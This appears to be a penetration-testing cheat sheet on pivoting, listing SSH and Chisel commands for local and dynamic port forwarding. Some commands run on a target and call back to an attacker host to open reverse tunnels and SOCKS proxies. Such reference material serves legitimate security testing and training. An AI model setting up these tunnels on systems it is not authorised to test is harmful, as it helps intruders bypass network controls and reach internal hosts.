PRIMARY CATEGORY → PENTESTING ROOT

Local Port Forwarding

SSH
From the Attacker
ssh -p<PORT> -fN -L <LOCAL_PORT>:localhost:<TARGET_PORT> <USER>@<TARGET>
Chisel

Reference

From the Attacker
./chisel server --reverse --port <PORT>
From the Target
./chisel client <ATTACKER>:<CHISEL_PORT> R:<ATTACKER_PORT>:localhost:<TARGET_PORT>

Dynamic Port Forwarding

SSH
From the Attacker
ssh -p<PORT> -fN -D <SOCKS_PORT> <USER>@<TARGET>

It sets up a SOCKS5 Proxy on the localhost:<PORT>

Chisel

Reference

From the Attacker
./chisel server --reverse --port <PORT> --socks5 # Default Socks Port -> 1080
./chisel server --reverse --port <PORT> --socks5 <PORT> # Specific Port
From the Target
./chisel client <ATTACKER>:<CHISEL_PORT> R:socks